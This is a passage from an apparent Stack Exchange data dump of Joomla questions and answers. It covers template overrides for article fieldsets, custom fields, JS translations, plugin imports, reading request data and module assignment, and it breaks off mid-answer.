&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The fieldsets are perfectly shown on the backend but the fieldset title and description is not showing. Any ideas how this can be achieved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the full code of /html/com_content/article/edit.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Administrator&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\Registry\Registry;&#xA;&#xA;// Include the component HTML helpers.&#xA;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');&#xA;&#xA;JHtml::_('behavior.formvalidator');&#xA;JHtml::_('behavior.keepalive');&#xA;JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' =&amp;gt; 0 ));&#xA;JHtml::_('formbehavior.chosen', '#jform_tags', null, array('placeholder_text_multiple' =&amp;gt; JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')));&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;$this-&amp;gt;configFieldsets  = array('editorConfig');&#xA;$this-&amp;gt;hiddenFieldsets  = array('basic-limited');&#xA;$this-&amp;gt;ignore_fieldsets = array('jmetadata', 'item_associations');&#xA;&#xA;// In order to avoid the creation of tabs, we're ignoring here the 3 field sets.&#xA;$this-&amp;gt;ignore_fieldsets[] = 'fields-1';&#xA;$this-&amp;gt;ignore_fieldsets[] = 'fields-2';&#xA;$this-&amp;gt;ignore_fieldsets[] = 'fields-3';&#xA;&#xA;&#xA;// Create shortcut to parameters.&#xA;$params = clone $this-&amp;gt;state-&amp;gt;get('params');&#xA;$params-&amp;gt;merge(new Registry($this-&amp;gt;item-&amp;gt;attribs));&#xA;&#xA;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;&#xA;$assoc = JLanguageAssociations::isEnabled();&#xA;&#xA;JFactory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;    Joomla.submitbutton = function(task)&#xA;    {&#xA;        if (task == &quot;article.cancel&quot; || document.formvalidator.isValid(document.getElementById(&quot;item-form&quot;)))&#xA;        {&#xA;            jQuery(&quot;#permissions-sliders select&quot;).attr(&quot;disabled&quot;, &quot;disabled&quot;);&#xA;            ' . $this-&amp;gt;form-&amp;gt;getField('articletext')-&amp;gt;save() . '&#xA;            Joomla.submitform(task, document.getElementById(&quot;item-form&quot;));&#xA;&#xA;            // @deprecated 4.0  The following js is not needed since 3.7.0.&#xA;            if (task !== &quot;article.apply&quot;)&#xA;            {&#xA;                window.parent.jQuery(&quot;#articleEdit' . (int) $this-&amp;gt;item-&amp;gt;id . 'Modal&quot;).modal(&quot;hide&quot;);&#xA;            }&#xA;        }&#xA;    };&#xA;');&#xA;&#xA;// In case of modal&#xA;$isModal = $input-&amp;gt;get('layout') == 'modal' ? true : false;&#xA;$layout  = $isModal ? 'modal' : 'edit';&#xA;$tmpl    = $isModal || $input-&amp;gt;get('tmpl', '', 'cmd') === 'component' ? '&amp;amp;tmpl=component' : '';&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_content&amp;amp;layout=' . $layout . $tmpl . '&amp;amp;id=' . (int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;item-form&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-horizontal&quot;&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&amp;gt; 'general')); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', JText::_('COM_CONTENT_ARTICLE_CONTENT')); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;span9&quot;&amp;gt;&#xA;                &amp;lt;fieldset class=&quot;adminform&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('articletext'); ?&amp;gt;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;span3&quot;&amp;gt;&#xA;                &amp;lt;?php echo JLayoutHelper::render('joomla.edit.global', $this); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    &amp;lt;?php /* -------- display all fields manually, however the title of the fieldsets are still missing   */?&amp;gt;    &#xA;&#xA;      &amp;lt;div class=&quot;row-fluid form-horizontal-desktop&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;span9 fieldset-class-1&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;fieldset-title-container&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;?php echo $fieldset['fields-1']-&amp;gt;label; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;?php echo $fieldset['fields-1']-&amp;gt;description; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('fields-1'); ?&amp;gt;    &#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;span9 fieldset-class-2&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;fieldset-title-container&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;?php echo $fieldset['fields-2']-&amp;gt;label; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;?php echo $fieldset['fields-2']-&amp;gt;description; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('fields-2'); ?&amp;gt;    &#xA;        &amp;lt;/div&amp;gt;        &#xA;&#xA;&#xA;        &amp;lt;div class=&quot;span9 fieldset-class-2&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;fieldset-title-container&quot;&amp;gt;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;?php echo $fieldset['fields-2']-&amp;gt;label; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;?php echo $fieldset['fields-2']-&amp;gt;description; ?&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;/div&amp;gt;  &#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('fields-2'); ?&amp;gt;    &#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;      &#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Do not show the images and links options if the edit form is configured not to. ?&amp;gt;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('show_urls_images_backend') == 1) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'images', JText::_('COM_CONTENT_FIELDSET_URLS_AND_IMAGES')); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;row-fluid form-horizontal-desktop&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;                    &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('images'); ?&amp;gt;&#xA;                    &amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getGroup('images') as $field) : ?&amp;gt;&#xA;                        &amp;lt;?php echo $field-&amp;gt;renderField(); ?&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;                    &amp;lt;?php foreach ($this-&amp;gt;form-&amp;gt;getGroup('urls') as $field) : ?&amp;gt;&#xA;                        &amp;lt;?php echo $field-&amp;gt;renderField(); ?&amp;gt;&#xA;                    &amp;lt;?php endforeach; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php $this-&amp;gt;show_options = $params-&amp;gt;get('show_article_options', 1); ?&amp;gt;&#xA;        &amp;lt;?php echo JLayoutHelper::render('joomla.edit.params', $this); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Do not show the publishing options if the edit form is configured not to. ?&amp;gt;&#xA;        &amp;lt;?php if ($params-&amp;gt;get('show_publishing_options', 1) == 1) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('COM_CONTENT_FIELDSET_PUBLISHING')); ?&amp;gt;&#xA;            &amp;lt;div class=&quot;row-fluid form-horizontal-desktop&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;                    &amp;lt;?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;span6&quot;&amp;gt;&#xA;                    &amp;lt;?php echo JLayoutHelper::render('joomla.edit.metadata', $this); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;?php if ( ! $isModal &amp;amp;&amp;amp; $assoc) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'associations', JText::_('JGLOBAL_FIELDSET_ASSOCIATIONS')); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;loadTemplate('associations'); ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php elseif ($isModal &amp;amp;&amp;amp; $assoc) : ?&amp;gt;&#xA;            &amp;lt;div class=&quot;hidden&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;loadTemplate('associations'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($this-&amp;gt;canDo-&amp;gt;get('core.admin')) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'editor', JText::_('COM_CONTENT_SLIDER_EDITOR_CONFIG')); ?&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderFieldset('editorConfig'); ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php if ($this-&amp;gt;canDo-&amp;gt;get('core.admin')) : ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'permissions', JText::_('COM_CONTENT_FIELDSET_RULES')); ?&amp;gt;&#xA;                &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('rules'); ?&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('bootstrap.endTab'); ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php echo JHtml::_('bootstrap.endTabSet'); ?&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;return&quot; value=&quot;&amp;lt;?php echo $input-&amp;gt;getCmd('return'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;forcedLanguage&quot; value=&quot;&amp;lt;?php echo $input-&amp;gt;get('forcedLanguage', '', 'cmd'); ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13977" LastEditorUserId="13977" LastEditDate="2019-12-13T10:27:06.057" LastActivityDate="2020-05-16T00:07:50.893" Title="Show the fieldgroup title on /html/com_content/article/edit.php" Tags="|joomla-3.x|php|administrator|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26529" PostTypeId="2" ParentId="26526" CreationDate="2019-12-13T09:03:28.877" Score="2" Body="&lt;p&gt;The documentation you are following is for how to add a fieldtype to your OWN component not for changing a core component. If you did make your changes in the folders you have referenced then your changes will disappear during some future update to com_users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest you start looking at the Joomla Custom Fields feature that is built in and allows you to add fields to core components that wont be over written during upgrades. Then if you can't find a field type to suit what you want then you can might find something on the JED, &lt;a href=&quot;https://extensions.joomla.org/category/authoring-a-content/custom-fields/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/category/authoring-a-content/custom-fields/&lt;/a&gt; to help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find this is a good primer to get you started with Joomla Custom Fields and it has a lot of links to other places for more information, &lt;a href=&quot;https://magazine.joomla.org/issues/issue-apr-2018/item/3326-how-far-can-we-go-with-joomla-and-custom-fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/issues/issue-apr-2018/item/3326-how-far-can-we-go-with-joomla-and-custom-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is a nice tutorial taking you through the steps to create your own field if you can't find anything to suit you already available, &lt;a href=&quot;https://coolcat-creations.com/en/blog/tutorial-build-your-own-custom-field-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://coolcat-creations.com/en/blog/tutorial-build-your-own-custom-field-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2019-12-13T09:03:28.877" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26531" PostTypeId="2" ParentId="18038" CreationDate="2019-12-13T15:34:17.613" Score="1" Body="&lt;p&gt;Very well, I use this structure to do the translations in my JS, come on:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the view.html.php file structure put this command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JText :: script ('fixed translation variable');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now you can use it in JS referenced in view.html.php and add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla.JText ._ ('fixed translation variable')&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Ready with that we have the use of translation.&lt;/p&gt;&#xA;" OwnerUserId="13978" LastEditorUserId="12352" LastEditDate="2019-12-14T03:35:33.833" LastActivityDate="2019-12-14T03:35:33.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26532" PostTypeId="2" ParentId="26516" CreationDate="2019-12-13T15:35:40.697" Score="1" Body="&lt;p&gt;Thanks to Ryan at - joomlacontenteditor.net/support/forum, I got a resolution:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The error Joomla is giv[en] when it attempts to delete the files during the uninstall suggests a file ownership / permissions issue.&lt;/p&gt;&#xA;&lt;p&gt;This could occur when migrating the site.&lt;/p&gt;&#xA;&lt;p&gt;Manually delete the following folders:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;administrator/components/com_jce&lt;/li&gt;&#xA;&lt;li&gt;components/com_jce&lt;/li&gt;&#xA;&lt;li&gt;plugins/content/jce&lt;/li&gt;&#xA;&lt;li&gt;plugins/editors/jce&lt;/li&gt;&#xA;&lt;li&gt;plugins/extension/jce&lt;/li&gt;&#xA;&lt;li&gt;plugins/fields/mediajce&lt;/li&gt;&#xA;&lt;li&gt;plugins/installer/jce&lt;/li&gt;&#xA;&lt;li&gt;plugins/quickicon/jce&lt;/li&gt;&#xA;&lt;li&gt;plugins/system/jce media/jce&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13973" LastEditorUserId="12352" LastEditDate="2021-09-10T21:46:44.493" LastActivityDate="2021-09-10T21:46:44.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26533" PostTypeId="1" AcceptedAnswerId="26534" CreationDate="2019-12-14T00:42:56.667" Score="0" ViewCount="24" Body="&lt;p&gt;I don't have any problem using the back-end for creating and editing content, but my clients do. I want to provide them with some simpler menu options that are targeted for editing or creating articles in certain categories. I have this working well enough, but when I log into the front end and create a new article, I see some conflicts with the template for the site as well as the editing experience is quite clunky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to assign a different template to these editing experiences?&lt;/p&gt;&#xA;" OwnerUserId="13948" LastActivityDate="2019-12-16T16:40:30.067" Title="Is there a way to change the layout or theme used when editing an article or module from the frontent" Tags="|joomla-3.x|templates|front-end|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26534" PostTypeId="2" ParentId="26533" CreationDate="2019-12-14T00:47:09.187" Score="1" Body="&lt;h2&gt;I Feel &lt;a href=&quot;https://www.lexico.com/en/definition/sheepish&quot; rel=&quot;nofollow noreferrer&quot;&gt;sheepish&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;All I had to do was go into the &lt;strong&gt;Extensions &gt;&gt; Templates&lt;/strong&gt; menu and assign the &lt;strong&gt;Protostar&lt;/strong&gt; template to those menu items, and bingo. A template that was pretty much designed to be a front end editor.&lt;/p&gt;&#xA;" OwnerUserId="13948" LastEditorUserId="13948" LastEditDate="2019-12-16T16:40:30.067" LastActivityDate="2019-12-16T16:40:30.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26535" PostTypeId="2" ParentId="26478" CreationDate="2019-12-14T03:23:06.243" Score="0" Body="&lt;p&gt;Thanks to all who helped. The issue appears to have been the &lt;code&gt;services&lt;/code&gt; file, not my pathing or namespacing. Once I added a file in &lt;code&gt;administrator/services/provider.php&lt;/code&gt; it all started to work automagically. The file looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return new class implements ServiceProviderInterface&#xA;{&#xA;    /**&#xA;     * Registers the service provider with a DI container.&#xA;     *&#xA;     * @param   Container  $container  The DI container.&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   4.0.0&#xA;     */&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;registerServiceProvider(new MVCFactory('\\Mycompany\\Component\\Mycomponent'));&#xA;        $container-&amp;gt;registerServiceProvider(new ComponentDispatcherFactory('\\Mycompany\\Component\\Mycomponent'));&#xA;&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            function (Container $container)&#xA;            {&#xA;                $component = new CategoriesComponent($container-&amp;gt;get(ComponentDispatcherFactoryInterface::class));&#xA;&#xA;                $component-&amp;gt;setMVCFactory($container-&amp;gt;get(MVCFactoryInterface::class));&#xA;                $component-&amp;gt;setRegistry($container-&amp;gt;get(Registry::class));&#xA;&#xA;                return $component;&#xA;            }&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another thing I needed to add was the generic &lt;code&gt;DisplayController&lt;/code&gt; in both the admin and site &lt;code&gt;Controller&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2019-12-15T20:00:22.640" LastActivityDate="2019-12-15T20:00:22.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26536" PostTypeId="1" AcceptedAnswerId="26537" CreationDate="2019-12-14T04:06:43.963" Score="0" ViewCount="374" Body="&lt;p&gt;To be honest, I don't know what &lt;code&gt;jimport&lt;/code&gt; and &lt;code&gt;jimport('joomla.plugin.plugin')&lt;/code&gt; do.  So I think an explanation of what they do might as well answer my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, I've made a simple plugin without &lt;code&gt;jimport('joomla.plugin.plugin')&lt;/code&gt;, but in other plugins I see this a lot, so when do I need it?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2019-12-14T06:18:05.707" Title="jimport('joomla.plugin.plugin') - When do I need this when making plugin?" Tags="|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26537" PostTypeId="2" ParentId="26536" CreationDate="2019-12-14T06:18:05.707" Score="1" Body="&lt;p&gt;Pretty sure that specific instance is a relic of the past. It was used to import the base class that your plugin class extended. (eg the &lt;code&gt;JPlugin&lt;/code&gt; in &lt;code&gt;class PlgUserJoomla extends JPlugin&#xA;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;joomla.plugin.plugin&lt;/code&gt; was a representation for the file in the libraries folder &lt;code&gt;JPATH_ROOT . &quot;/libraries/joomla/plugin/plugin.php&quot;&lt;/code&gt; if I remember right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;jimport('xxx')&lt;/code&gt; is currently an alias for &lt;code&gt;JLoader::import('xxx')&lt;/code&gt; and still used for some imports in the Joomla source.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jimport($path, $base = null)&#xA;{&#xA;    return JLoader::import($path, $base);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the necessity of that I am unsure of. Much of the source auto-loads now either via a namespace or or an alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;JPlugin&lt;/code&gt; is an alias of &lt;code&gt;\Joomla\CMS\Plugin\CMSPlugin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerAlias('JPlugin',                           '\\Joomla\\CMS\\Plugin\\CMSPlugin', '5.0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: As of right now, current version of Joomla is 3.9.13.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2019-12-14T06:18:05.707" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26538" PostTypeId="1" AcceptedAnswerId="26542" CreationDate="2019-12-14T06:32:18.803" Score="0" ViewCount="430" Body="&lt;p&gt;When copying a webpage to my Joomla site, there is a big hassle which is dealing with images. We can easily copy text content and its format but we will have to download the images on the webpage, upload them to my website, and modify lots of the &lt;code&gt;src&lt;/code&gt; attributes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I have a lot of articles to copy, I am thinking to make a plugin so I can just copy the webpage, paste it to the editor, and save without worrying about downloading the images and changing &lt;code&gt;src&lt;/code&gt; manually. I've managed to write a light PHP application(it is a standalone PHP file put in Joomla site's image folder, but it has nothing to do with Joomla) that accepts a folder name and an array of images' original src as POST data, then  it will create the folder and directly download images into it(using &lt;code&gt;file_get_content&lt;/code&gt;). So after I copy/paste, the plugins needs to capture the &lt;code&gt;onBeforeSave&lt;/code&gt;(or something like that) event, and retrieve the content's info grabbing each images' link, then send its link along with the  article's id(using id as folder name) to my image downloading application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, inside a plugin, how to send the POST data? Does joomla provide some function that can handle this? Or I have to use the vanilla PHP way?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeEasyBlogSave($post, $isNew)&#xA;{&#xA;    $folder = $post-&amp;gt;id;&#xA;    $content = $post-&amp;gt;content;&#xA;    imageLinks  = getImageLinks($content);&#xA;    // How do I post $folder and $imageLinks to getImage.php?&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="5680" LastEditDate="2019-12-14T06:37:42.500" LastActivityDate="2019-12-14T23:00:43.867" Title="sending post data in a plugin" Tags="|plugin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26539" PostTypeId="2" ParentId="26538" CreationDate="2019-12-14T07:19:33.037" Score="0" Body="&lt;p&gt;Not sure of the strategy, but here are the tactics:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$input = $app-&amp;gt;input;&#xA;$get_or_post_var = $input-&amp;gt;get('get_or_post_var', 'default_value');&#xA;$post_var = $input-&amp;gt;post-&amp;gt;get('post_var', 'default_value');&#xA;$get_var = $input-&amp;gt;get-&amp;gt;get('get_var', 'default_value');&#xA;// and the actual question&#xA;$image_data = $input-&amp;gt;files-&amp;gt;get('image_var', 'default_var');&#xA;// $image_data is an array if single upload or an array of arrays if multiple upload -- basically same data as $_FILES but pivoted into a more intuitive format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good reference here: &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2019-12-14T07:19:33.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26540" PostTypeId="2" ParentId="9902" CreationDate="2019-12-14T15:38:30.780" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://www.regularlabs.com/extensions/advancedmodulemanager/features&quot; rel=&quot;nofollow noreferrer&quot;&gt;Advance Module Manager&lt;/a&gt; is the solution. As it also removes the module positions, if module is not assigned to Menu items in (in AMM Assignment in the concerned module settings). The free version will also take care of this, if you don't go Pro. Many Thanks to Peter van Westen (the developer of AMM).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you have missed is to &lt;strong&gt;ignore Menu Items&lt;/strong&gt; and &lt;strong&gt;Include categories&lt;/strong&gt;. Then &lt;strong&gt;select your blog categories where you want to show the module&lt;/strong&gt;. In the same categories box at the bottom, check only categories (in check-box) not articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the complete configuration for your reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8raQh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8raQh.png&quot; alt=&quot;AMM configuration&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12052" LastActivityDate="2019-12-14T15:38:30.780" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26541" PostTypeId="2" ParentId="10306" CreationDate="2019-12-14T22:24:27.577" Score="1" Body="&lt;p&gt;If a ready-made made extension is acceptable, then my suggestion is &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Headless_content_management_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;Headless&lt;/a&gt; Joomla and &lt;a href=&quot;https://codingmall.com/products-mainmenu-8/201-headless-joomla-a-virtuemart-json-output&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Virtuemart plugin from codingmall&lt;/a&gt;. It gives you detailed info for any Joomla view using simple REST calls like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://www.example.com/?cmjspkjson_opt=10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;item&quot;: {&#xA;        &quot;id&quot;: &quot;1&quot;,&#xA;        &quot;asset_id&quot;: &quot;61&quot;,&#xA;        &quot;title&quot;: &quot;Getting Started&quot;,&#xA;        &quot;alias&quot;: &quot;getting-started&quot;,&#xA;        &quot;introtext&quot;: &quot;It's easy&quot;,&#xA;        &quot;fulltext&quot;: &quot;&quot;,&#xA;        &quot;state&quot;: &quot;1&quot;,&#xA;        &quot;catid&quot;: &quot;2&quot;,&#xA;        &quot;created&quot;: &quot;2019-08-29 14:35:43&quot;,&#xA;        &quot;created_by&quot;: &quot;581&quot;,&#xA;        ...&#xA;    },&#xA;    &quot;pageclass_sfx&quot;: &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A complex call 